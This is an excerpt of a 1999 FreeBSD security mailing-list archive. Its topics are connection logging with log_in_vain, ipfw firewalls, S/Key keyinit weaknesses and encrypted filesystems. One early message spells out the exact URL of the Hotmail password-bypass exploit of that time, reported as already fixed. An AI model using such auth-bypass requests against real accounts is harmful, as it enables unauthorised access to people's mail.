<19990901131925.A23842@vet.com.au> Mail-Followup-To: security@FreeBSD.ORG References: <37CC959B.9CA5F03A@stlinux.ouhk.edu.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i In-Reply-To: X-Operating-System: FreeBSD 3.1-RELEASE i386 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Aug 31, 1999 at 08:03:26PM -0700, Kevin Lynn wrote: > Yes.. but chances are it's because of a security hole that wasn't because > of freebsd as slashdot posted something about the security hole being > exploitable via some web page that would let you read other peoples mail. By the time I caught up the this, the exploit appeared to have been fixed, but what I've read indicated that the web pages with the exploit simply perform a GET on the following URL: http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE&js=no&login=USERNAME&passwd=eh and that you could just type that in your browser, putting in whatever username you want. You then received full access to that user's account. Many people are saying this is a result of Hotmail's use of the Microsoft Passport system. It is designed to allow you to log in to any MSN site without having to re-enter your username and password every time. Well, I guess not requiring a password is one way to achieve that. In any case, it seems that the operating system being used was not a factor at all. -- Lachlan O'Dea Computer Associates Pty Ltd Webmaster Vet - Anti-Virus Software http://www.vet.com.au/ "With our combined strength, we can end this destructive conflict and bring order to the galaxy." - Darth Vader To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 8: 5:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from Samizdat.uucom.com (samizdat.uucom.com [198.202.217.54]) by hub.freebsd.org (Postfix) with ESMTP id B3ECE14F33; Thu, 23 Sep 1999 08:05:28 -0700 (PDT) (envelope-from cshenton@uucom.com) Received: (from cshenton@localhost) by Samizdat.uucom.com (8.9.3/8.9.3) id LAA28407; Thu, 23 Sep 1999 11:03:59 -0400 (EDT) To: freebsd-net@FreeBSD.ORG Cc: freebsd-security@FreeBSD.ORG Subject: Inetd -l: log *all* connection attempts (not just valid svcs) User-Agent: SEMI/1.13.3 (Komaiko) FLIM/1.12.5 (Hirahata) Emacs/20.3 (i386-pc-solaris2.7) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.3 - "Komaiko") Content-Type: text/plain; charset=US-ASCII From: Chris Shenton Date: 23 Sep 1999 11:03:59 -0400 In-Reply-To: Pierre Beyssac's message of "Thu, 23 Sep 1999 10:51:31 +0200" Message-ID: Lines: 23 X-Mailer: Gnus v5.6.45/Emacs 20.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org FreeBSD-3.2 inetd has a "-l" flag which logs all attempts: If the -l option is specified, all connection attempts are logged, whether they are allowed, denied or not wrapped at all. Otherwise, only denied requests will be logged. but I gather it only logs attempts for ports which inetd.conf has configured for services. I'd like a way to log *all* network connection attempts, especially attempts to services which aren't defined. This would allow me to spot people scanning my host (where only a few services are enabled). Perhaps inetd isn't the right place to do this since it has no awareness of other services which might be running (e.g., httpd on port 80). Is this true? Or can inetd be bound to all unused ports to log attempts? If not I suppose the logical conclusion would be to run ipfw or ipfil... certainly doable, but not as trivial for users to enable as turning on an inetd flag. Suggestions? Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 8:12:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from wopr.caltech.edu (wopr.caltech.edu [131.215.240.222]) by hub.freebsd.org (Postfix) with ESMTP id 2E78B15EF0; Thu, 23 Sep 1999 08:12:20 -0700 (PDT) (envelope-from mph@wopr.caltech.edu) Received: (from mph@localhost) by wopr.caltech.edu (8.9.3/8.9.1) id IAA00915; Thu, 23 Sep 1999 08:11:53 -0700 (PDT) (envelope-from mph) Date: Thu, 23 Sep 1999 08:11:53 -0700 From: Matthew Hunt To: Chris Shenton Cc: freebsd-net@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Inetd -l: log *all* connection attempts (not just valid svcs) Message-ID: <19990923081153.B668@wopr.caltech.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Chris Shenton on Thu, Sep 23, 1999 at 11:03:59AM -0400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Sep 23, 1999 at 11:03:59AM -0400, Chris Shenton wrote: > I'd like a way to log *all* network connection attempts, especially > attempts to services which aren't defined. This would allow me to spot > people scanning my host (where only a few services are enabled). To log connections to ports with nothing listening, set "log_in_vain" to "YES" in /etc/rc.conf if it's in there, or do "sysctl -w net.inet.tcp.log_in_vain=1" as root. This is handled by the kernel, not inetd, because as you said, inetd is not aware of connections attempts to ports it's not listening to. -- Matthew Hunt * UNIX is a lever for the http://www.pobox.com/~mph/ * intellect. -J.R. Mashey To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 8:16:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from charon.npc.net (charon.npc.net [199.15.61.3]) by hub.freebsd.org (Postfix) with ESMTP id 918C514E2C; Thu, 23 Sep 1999 08:16:37 -0700 (PDT) (envelope-from mjung@npc.net) Received: from exchange.finall.com (exchange [10.0.158.37]) by charon.npc.net (8.9.3/8.8.8) with SMTP id LAA00882; Thu, 23 Sep 1999 11:14:53 -0400 (EDT) (envelope-from mjung@npc.net) Received: by exchange.finall.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62) id <01BF05B5.06A2B850@exchange.finall.com>; Thu, 23 Sep 1999 11:16:04 -0400 Message-ID: From: "Jung, Michael" To: "'Chris Shenton'" , "'freebsd-net@FreeBSD.ORG'" Cc: "'freebsd-security@FreeBSD.ORG'" Subject: RE: Inetd -l: log *all* connection attempts (not just valid svcs) Date: Thu, 23 Sep 1999 11:16:03 -0400 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org sysctl -w net.inet.udp.log_in_vain=1 sysctl -w net.inet.tcp.log_in_vain=1 will give you (root@charon) /home/mikej/mount$grep Connection /var/log/debug Sep 23 11:00:26 charon /kernel: Connection attempt to UDP 127.0.0.1:4456 from 127.0.0.1:53 Sep 23 11:00:53 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:00:57 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:01:58 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:02:03 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:03:04 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:03:08 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:03:20 charon /kernel: Connection attempt to UDP 127.0.0.1:137 from 127.0.0.1:4250 Sep 23 11:04:14 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:04:16 charon /kernel: Connection attempt to UDP 127.0.0.1:137 from 127.0.0.1:2554 Sep 23 11:04:19 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:05:19 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:05:25 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:06:23 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:06:23 charon /kernel: Connection attempt to UDP 127.0.0.1:137 from 127.0.0.1:4561 Sep 23 11:06:27 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 Sep 23 11:07:28 charon /kernel: Connection attempt to UDP 10.0.158.10:161 from 10.0.158.28:1063 --mikej >-----Original Message----- >From: Chris Shenton [SMTP:cshenton@uucom.com] >Sent: Thursday, September 23, 1999 11:04 AM >To: freebsd-net@FreeBSD.ORG >Cc: freebsd-security@FreeBSD.ORG >Subject: Inetd -l: log *all* connection attempts (not just valid svcs) > >FreeBSD-3.2 inetd has a "-l" flag which logs all attempts: > > If the -l option is specified, all connection attempts are logged, > whether they are allowed, denied or not wrapped at all. Otherwise, only > denied requests will be logged. > >but I gather it only logs attempts for ports which inetd.conf has >configured for services. > >I'd like a way to log *all* network connection attempts, especially >attempts to services which aren't defined. This would allow me to spot >people scanning my host (where only a few services are enabled). > >Perhaps inetd isn't the right place to do this since it has no >awareness of other services which might be running (e.g., httpd on >port 80). Is this true? Or can inetd be bound to all unused ports to >log attempts? > >If not I suppose the logical conclusion would be to run ipfw or >ipfil... certainly doable, but not as trivial for users to enable as >turning on an inetd flag. Suggestions? > >Thanks. > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 8:41: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 2C88E14F34 for ; Thu, 23 Sep 1999 08:40:59 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id IAA69279; Thu, 23 Sep 1999 08:39:29 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909231539.IAA69279@gndrsh.dnsmgr.net> Subject: Re: RAM 1 Gbytes and Mylex In-Reply-To: <37E9AC1D.8810D9AC@bse.bg> from Hristo Grigorov at "Sep 23, 1999 07:27:09 am" To: hristo@bse.bg (Hristo Grigorov) Date: Thu, 23 Sep 1999 08:39:28 -0700 (PDT) Cc: ayip-maildrop@cbn.net.id (A.Y. Sjarifuddin), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [Charset koi8-r unsupported, filtering to ASCII...] > ftp://ftp.cdrom.com/archive-info/wcarchive.txt Be very carefull in your reading of that. Don't jump from the fact that a Mylex DAC960SXI is being used to the general form that the full Mylex DAC960 family is supported. The SXI is an external SCSI-SCSI bridging raid controller, quite a different beast from the DAC960 PCI internal cards. > "A.Y. Sjarifuddin" wrote: > > > > Dear All. > > I was wondering if freebsd now can handle RAM over 1 Gbytes > > and support Mylex 86238 (i960) > > > > Thanks > > Ayip. > > -- > > The devil finds work for idle circuits to do. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message Content-Description: Card for Hristo Grigorov [Attachment, skipping...] -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 9:26:30 1999 Delivered-To: freebsd-security@freebsd.org Received: from isr4033.urh.uiuc.edu (isr4033.urh.uiuc.edu [130.126.208.49]) by hub.freebsd.org (Postfix) with SMTP id 281AC14F5A for ; Thu, 23 Sep 1999 09:26:26 -0700 (PDT) (envelope-from ftobin@uiuc.edu) Received: (qmail 35089 invoked by uid 1000); 23 Sep 1999 16:25:40 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 23 Sep 1999 16:25:40 -0000 Date: Thu, 23 Sep 1999 11:25:40 -0500 (CDT) From: Frank Tobin X-Sender: ftobin@isr4033.urh.uiuc.edu To: FreeBSD-security Mailing List Subject: OTP schemes with S/Key Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The scheme S/Key uses to create a OTP setup with keyinit(1) has been bugging me lately. I'm confused by the program's ability to create a method of becoming a user via login(1) (through telnetd, ftpd, etc) without any authentication. For example, with access to any user's session, an attacker can use keyinit witout any authentication to create a new or modify the current OTP setup of the grabbed-user's terminal. Well, technically the authentication could be the fact that the user is currently logged in under with their own credentials, but this is generally not accepted as a sufficient authentication. The general thinking behind OTP is that is that knowing one challenge-response series gives a user credentials for one session, and no more. With the current setup, a user who has credentials for one session can use those credentials to run keyinit and reset the OTP scheme, granting him/her access to more sessions. Other authentication, schemes normally don't allow this sort of bypassing of authethentication to change the authentication method; for example, if a user's password was to be changed, the person changing it needs to be authenticated by entering the old password into passwd(1). I'm thinking that a decent solution would require users to authenticate via some call to login(1) when running keyinit, allowing them to change their OTP setup knowing either their static password, or the next correct challenge-response. -- Frank Tobin "To learn what is good and what is to be valued, those truths which cannot be shaken or changed." Myst: The Book of Atrus pgpenvelope = GPG and PGP5 + Pine PGP: 4F86 3BBB A816 6F0A 340F www.neverending.org/~ftobin/resources.html 6003 56FF D10A 260C 4FA3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 11:15:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from Samizdat.uucom.com (samizdat.uucom.com [198.202.217.54]) by hub.freebsd.org (Postfix) with ESMTP id 9D8BA14DF3; Thu, 23 Sep 1999 11:15:23 -0700 (PDT) (envelope-from cshenton@uucom.com) Received: (from cshenton@localhost) by Samizdat.uucom.com (8.9.3/8.9.3) id OAA00487; Thu, 23 Sep 1999 14:14:00 -0400 (EDT) To: Matthew Hunt Cc: freebsd-net@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Inetd -l: log *all* connection attempts (not just valid svcs) References: <19990923081153.B668@wopr.caltech.edu> User-Agent: SEMI/1.13.3 (Komaiko) FLIM/1.12.5 (Hirahata) Emacs/20.3 (i386-pc-solaris2.7) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.3 - "Komaiko") Content-Type: text/plain; charset=US-ASCII From: Chris Shenton Date: 23 Sep 1999 14:14:00 -0400 In-Reply-To: Matthew Hunt's message of "Thu, 23 Sep 1999 08:11:53 -0700" Message-ID: Lines: 16 X-Mailer: Gnus v5.6.45/Emacs 20.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 23 Sep 1999 08:11:53 -0700, Matthew Hunt said: Matthew> To log connections to ports with nothing listening, set Matthew> "log_in_vain" to "YES" in /etc/rc.conf if it's in there, or Matthew> do "sysctl -w net.inet.tcp.log_in_vain=1" as root. That's exactly what I was looking for, thanks! As to the name of the variable... you guys are the zaniest :-) (When did this variable appear?) PS: Anthony Di Pietro suggested "clog" in ports, which I tried. It does a nice job of reporting all connections on the LAN segment, not just rejected ones nor just ones to the local machine. Nice tool for seeing what's on your LAN. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 11:17:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from wopr.caltech.edu (wopr.caltech.edu [131.215.240.222]) by hub.freebsd.org (Postfix) with ESMTP id 323E815088; Thu, 23 Sep 1999 11:17:13 -0700 (PDT) (envelope-from mph@wopr.caltech.edu) Received: (from mph@localhost) by wopr.caltech.edu (8.9.3/8.9.1) id LAA03972; Thu, 23 Sep 1999 11:17:06 -0700 (PDT) (envelope-from mph) Date: Thu, 23 Sep 1999 11:17:06 -0700 From: Matthew Hunt To: Chris Shenton Cc: freebsd-net@freebsd.org, freebsd-security@freebsd.org Subject: Re: Inetd -l: log *all* connection attempts (not just valid svcs) Message-ID: <19990923111705.A3938@wopr.caltech.edu> References: <19990923081153.B668@wopr.caltech.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Chris Shenton on Thu, Sep 23, 1999 at 02:14:00PM -0400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Sep 23, 1999 at 02:14:00PM -0400, Chris Shenton wrote: > As to the name of the variable... you guys are the zaniest :-) Yes; it's far from obvious. It makes sense once you understand what it does, but when looking for its functionality, I wouldn't think of the phrase "in vain". > (When did this variable appear?) It's been around for a while: revision 1.41 date: 1996/04/04 10:46:39; author: phk; state: Exp; lines: +13 -2 Log TCP syn packets for ports we don't listen on. Controlled by: sysctl net.inet.tcp.log_in_vain: 1 Log UDP syn packets for ports we don't listen on. Controlled by: sysctl net.inet.udp.log_in_vain: 1 Suggested by: Warren Toomey -- Matthew Hunt * UNIX is a lever for the http://www.pobox.com/~mph/ * intellect. -J.R. Mashey To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 12:36:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.icsa.net (ns.icsa.net [205.160.199.1]) by hub.freebsd.org (Postfix) with ESMTP id F290714D48 for ; Thu, 23 Sep 1999 12:36:28 -0700 (PDT) (envelope-from saux@icsa.net) Received: from portal.icsa.net (portal.icsa.net [205.160.199.10]) by ns.icsa.net (8.9.1a/8.9.1) with ESMTP id OAA03833 for ; Thu, 23 Sep 1999 14:07:23 -0400 Received: from serv9.icsa.net (serv9.icsa.net [172.20.200.9]) by portal.icsa.net (8.9.0/8.9.0) with ESMTP id QAA22751 for ; Thu, 23 Sep 1999 16:07:03 -0400 (EDT) Received: from abbott.icsa.net (abbott.icsa.net [172.20.250.10]) by serv9.icsa.net (8.9.1a/8.9.1) with ESMTP id PAA22226 for ; Thu, 23 Sep 1999 15:48:27 -0400 (EDT) Received: by abbott.icsa.net with Internet Mail Service (5.5.2448.0) id ; Thu, 23 Sep 1999 15:42:39 -0400 Message-ID: From: saux@icsa.net To: freebsd-security@FreeBSD.ORG Subject: Date: Thu, 23 Sep 1999 15:42:34 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org auth 9df98505 unsubscribe freebsd-security saux@icsa.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 12:58:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from pau-amma.whistle.com (pau-amma.whistle.com [207.76.205.64]) by hub.freebsd.org (Postfix) with ESMTP id C5ED415903; Thu, 23 Sep 1999 12:58:20 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from dhw@localhost) by pau-amma.whistle.com (8.9.2/8.9.2) id MAA00728; Thu, 23 Sep 1999 12:56:30 -0700 (PDT) Date: Thu, 23 Sep 1999 12:56:30 -0700 (PDT) From: David Wolfskill Message-Id: <199909231956.MAA00728@pau-amma.whistle.com> To: cshenton@uucom.com, freebsd-net@FreeBSD.ORG Subject: Re: Inetd -l: log *all* connection attempts (not just valid svcs) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >From: Chris Shenton >Date: 23 Sep 1999 11:03:59 -0400 >FreeBSD-3.2 inetd has a "-l" flag which logs all attempts: >... >I'd like a way to log *all* network connection attempts, especially >attempts to services which aren't defined. This would allow me to spot >people scanning my host (where only a few services are enabled). >Perhaps inetd isn't the right place to do this since it has no >awareness of other services which might be running (e.g., httpd on >port 80). Is this true? Or can inetd be bound to all unused ports to >log attempts? Well, once you have (say) an SMTP server listening to TCP/25, any connection attempt to TCP/25 doesn't involve inetd any more. Sure, you can avoid that issue by instantiating the server in question once for each connection, but that sounds painful to me. >If not I suppose the logical conclusion would be to run ipfw or >ipfil... certainly doable, but not as trivial for users to enable as >turning on an inetd flag. Suggestions? For what it might be worth, when I set up my NAT/firewall box at home (for the DSL connection), in addition to logging all denied packets, I also set it up to log all passed "setup" TCP requests. And yes, I did this with ipfw. Cheers, david -- David Wolfskill dhw@whistle.com UNIX System Administrator voice: (650) 577-7158 pager: (888) 347-0197 FAX: (650) 372-5915 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 15:22:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from eris.memes.com (eris.memes.com [204.201.42.3]) by hub.freebsd.org (Postfix) with ESMTP id 2D2D714F7A for ; Thu, 23 Sep 1999 15:22:44 -0700 (PDT) (envelope-from montejw@memes.com) Received: from timpax.memes.com (c6.memes.com [204.201.42.87]) by eris.memes.com (8.8.7/8.8.7) with SMTP id PAA05696 for ; Thu, 23 Sep 1999 15:19:01 -0700 Message-Id: <3.0.5.32.19990923152232.007c94c0@memes.com> X-Sender: montejw@memes.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Thu, 23 Sep 1999 15:22:32 -0700 To: freebsd-security@freebsd.org From: Monte Westlund Subject: default rc.firewall Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I setting up a FreeBSD box as firewall to a windows LAN. I've installed 2 NIC's. One connects to a DSL modem, the other connects to the LAN. Using the 'simple' firewall that is in the default rc.firewall I can't get out from any of the machines on the LAN without adding allow ip from any to any to the ipfw rules. I have been adding it manually using 'ipfw add ....' Can anyone point me in the direction of an example of a 'modified' rc.firewall for the simple firewall? Or give me an idea of what I need to add/allow? Thanks, Monte Westlund To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 16:49:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from srv4-bnu.bnu.zaz.com.br (srv4-bnu.bnu.nutecnet.com.br [200.247.224.5]) by hub.freebsd.org (Postfix) with ESMTP id A924214C14 for ; Thu, 23 Sep 1999 16:49:36 -0700 (PDT) (envelope-from fatboy@linuxbr.com.br) Received: from jackson.zaz.com.br (ip-248-49-233.joi.zaz.com.br [200.248.49.233]) by srv4-bnu.bnu.zaz.com.br (8.8.5/SCA-6.6) with SMTP id UAA25437 for ; Thu, 23 Sep 1999 20:49:04 -0300 (BRA) Message-ID: <006b01bf061e$afc87a00$c800000a@jackson.zaz.com.br> From: "Jackson Donadel" To: Subject: crypt Date: Thu, 23 Sep 1999 20:47:19 -0300 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0045_01BF0604.D42084C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. ------=_NextPart_000_0045_01BF0604.D42084C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable how can I implement a crypt file system? System =3D FreeBSD 3.1 Bad Blocked Hard Drive ------=_NextPart_000_0045_01BF0604.D42084C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
how can I implement a crypt file=20 system?
 
System =3D FreeBSD 3.1
Bad Blocked Hard=20 Drive
------=_NextPart_000_0045_01BF0604.D42084C0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 16:54: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 73CED14C14; Thu, 23 Sep 1999 16:53:59 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 640001CD736; Thu, 23 Sep 1999 16:53:59 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Thu, 23 Sep 1999 16:53:59 -0700 (PDT) From: Kris Kennaway To: Jackson Donadel Cc: freebsd-security@freebsd.org Subject: Re: crypt In-Reply-To: <006b01bf061e$afc87a00$c800000a@jackson.zaz.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 23 Sep 1999, Jackson Donadel wrote: > how can I implement a crypt file system? /usr/ports/security/cfs may well do what you want, otherwise you can search the mailing list archives for -hackers for the location and exact name of another package which I've forgotten (search for "cryptfs" should get it). > System = FreeBSD 3.1 > Bad Blocked Hard Drive ? Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 20:43:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 99FF514D62 for ; Thu, 23 Sep 1999 20:43:22 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA09594; Thu, 23 Sep 1999 21:41:58 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA45553; Thu, 23 Sep 1999 21:42:13 -0600 (MDT) Message-Id: <199909240342.VAA45553@harmony.village.org> To: Wes Peters Subject: Re: FreeBSD Security Advisory Cc: security@FreeBSD.ORG In-reply-to: Your message of "Wed, 22 Sep 1999 23:43:17 MDT." <37E9BDF5.8B324775@softweyr.com> References: <37E9BDF5.8B324775@softweyr.com> <199909210214.UAA22243@harmony.village.org> Date: Thu, 23 Sep 1999 21:42:13 -0600 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <37E9BDF5.8B324775@softweyr.com> Wes Peters writes: : I never got enough discussion, nor an answer from Mr. Security Officer, Sir. I don't recall seeing anything in this list (or security officer) before... It has been a long couple of weeks, so maybe I missed something... : Should we be publishing the SAs, or at least references to them, on : daily.daemonnews.org? I think that is an excellent idea. : Do we feel the security and announce mailing list is enough? I think they are enough, but with these things the wider you can distribute them the better. They are necessary, but not sufficient :-) : I'm willing to post the FreeBSD ones if we mostly agree this is a good idea. Go for it! Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 20:45:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 2335E14DF2; Thu, 23 Sep 1999 20:45:42 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id VAA09607; Thu, 23 Sep 1999 21:45:40 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id VAA45589; Thu, 23 Sep 1999 21:45:56 -0600 (MDT) Message-Id: <199909240345.VAA45589@harmony.village.org> To: Matthew Hunt Subject: Re: Inetd -l: log *all* connection attempts (not just valid svcs) Cc: Chris Shenton , freebsd-net@FreeBSD.ORG, freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Thu, 23 Sep 1999 11:17:06 PDT." <19990923111705.A3938@wopr.caltech.edu> References: <19990923111705.A3938@wopr.caltech.edu> <19990923081153.B668@wopr.caltech.edu> Date: Thu, 23 Sep 1999 21:45:56 -0600 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19990923111705.A3938@wopr.caltech.edu> Matthew Hunt writes: : Yes; it's far from obvious. It makes sense once you understand what : it does, but when looking for its functionality, I wouldn't think of : the phrase "in vain". If someone went looking for you and couldn't find them, how would you describe their search? I'd say it was in vain. However, enough people have not been able to grok it to make me wonder if the choice was in vain. : > (When did this variable appear?) : : It's been around for a while: : revision 1.41 : date: 1996/04/04 10:46:39; author: phk; state: Exp; lines: +13 -2 Yes, but the rc.conf variable has been around since earlier this year only. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 20:57:22 1999 Delivered-To: freebsd-security@freebsd.org Received: from athena.ptyx.com (athena.ptyx.com [209.79.189.130]) by hub.freebsd.org (Postfix) with ESMTP id CA48214DAD for ; Thu, 23 Sep 1999 20:57:04 -0700 (PDT) (envelope-from tomi@trespass.net) Received: from Debug (mithras.ptyx.com [209.79.189.102]) by athena.ptyx.com (8.9.3/8.9.3) with SMTP id UAA00481 for ; Thu, 23 Sep 1999 20:50:26 -0700 Message-Id: <199909240350.UAA00481@athena.ptyx.com> To: FreeBSD-security@freebsd.org From: Tomi Sirait Subject: suscribe Date: Thu, 23 Sep 1999 20:36:36 US/Pacific X-Mailer: Trespass.NeT Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org subscribe ---------------------------------------------------------- Get paid for using free email at http://www.trespass.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 21:45:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from mta1.snfc21.pbi.net 